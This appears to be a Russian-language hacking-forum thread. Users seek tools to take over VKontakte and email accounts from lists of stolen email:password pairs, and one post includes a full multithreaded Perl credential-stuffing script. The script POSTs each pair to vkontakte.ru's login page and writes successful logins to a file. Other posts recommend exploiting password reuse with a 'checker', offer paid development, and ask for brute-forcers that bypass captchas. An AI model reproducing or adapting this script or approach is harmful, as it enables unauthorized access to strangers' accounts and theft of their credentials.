скрипт нужен +++

Доброго времени суток! Помогите кто сколько может, т.е. нужен скрипт на перле и\или прога, которая вспоминает пароль по отбрученным мылам, от соц сетей ( вконтакте и др. )
login@mail.ru : password
и в отдельный файл (good.txt) записывала пасы.

 

вряд ли такое есть в паблике. лучше просто в чекер загони список. многие делают одинаковые пассы

 

Смысл разъясни. Не понимаю я смысл данной фразы.

 

Объясняю по русски: у меня есть мыла отбрученные вида
Lolgin@mail.ruassword
мне надо чтобы скрипт заходил на вконтакте и нажимал восстановить пароль и из письма выдирал пасс, вроде ничего сложного.
Я нашёл, но он что то кривовато, мб подскажите как оно и чем едят

Code:

#! /usr/bin/perl -w
#(c)Kaimi
#modified by b00 (v0.2), Oct 2008
use strict;
use IO::Socket;
use threads;
use threads::shared;

die "\nUsage: \$ ./pass_bruter.pl [threads] [input file (or e-mails file)] [output file] [password (if entered e-mail list)]\n\n" if !@ARGV;

our $threads =  $ARGV[0] || 5				; #Кол-во потоков
#our $combolist = $ARGV[1];					# Structure:  e-mail:password
#our $fname   =  $ARGV[2] || 'good.txt'   	; #Валидные
our $pass    =  $ARGV[3] || undef     	; #pwd
#our $ml      =  shift || Reult			; #Список мыл

my $acc;
my @acc:shared;
my $i:shared;
my $total:shared=0;
$|=1;

print "Loading...\n";

open (ACS,'<',$ARGV[1]) || die("Could not open input file: $!");
while (<ACS>){
	chomp;
	($acc,$pass)=split(/:/,$_);
	push(@acc,"$acc,$pass");
}

my $size = $.;
my $time 	 = time; 
my $start 	 = localtime;
print  "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

my @trl;
for(0..local $threads) {$trl[$_] = threads->create(\&Brut, $_);}
foreach(@trl) { $_->join; }


my $percent;
sub Brut{
	while(@acc){
		{lock(@acc); ($acc,$pass)=split(/,/,shift(@acc));}
		my $sock = new IO::Socket::INET 
		(
		PeerAddr => 'vkontakte.ru',
   		PeerPort => 80,
#		LocalPort => 8080,
   		PeerProto => 'tcp',
   		TimeOut => 20,
		) or die "Can't connect: $!\n";
		
		my $data = "email=$acc&pass=$pass";
		my $len = length($data);
		my $re = "POST /login.php HTTP/1.1\n".
		 "Host: vkontakte.ru\n".
		 "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9) Gecko/2008052906 Firefox/2.0.0.11\n".
		 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n".
		 "Accept-Language: ru,en-us;q=0.7,en;q=0.3\n".
		 "Accept-Encoding: gzip,deflate\n".
		 "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n".
		 "Keep-Alive: 300\n".
		 "Proxy-Connection: keep-alive\n".
		 "Referer: http://vkontakte.ru/index.php\n".
		 "Content-Type: application/x-www-form-urlencoded\n".
		 "Content-Length: $len\n\n$data";
		
		print $sock $re; 
		sysread ($sock, my $answ, 988);
			
		if($answ=~/\S{32}/){
				{lock($total); $total++;}
				print "[+] $acc\n";
				open(FILE, '>>',$ARGV[2]) || die("Could not open $ARGV[2]: $!\n");
				print FILE "$acc : $pass\n";
				close(FILE);
		}
		{lock($i);$i++;}
		$percent = ($i/$size)*100;
		progress();
	}
}


 $time = time-$time;
my $end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "File $ARGV[1] processed.\n";
printf "Finded: $total :(\n" if $total==0;
printf "Finded: $total :)\n" if $total>0;

sub progress(){
print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}
exit();

 

Врядли бесплтано будет кто-то делать. Предложи н-ную сумму и на завтра тебе умельцы все сделают. Токо учти что за малую сумму никто не согласиться работать, ибо например не так-то просто выдрать сообщения с Гугла и других мыл которые не поддерживают ПОП-протокол

 

приму в добрые руки любой рабрчий брут с обходом капчи..
[:стыдно, краснеет, надеется на лучшее:]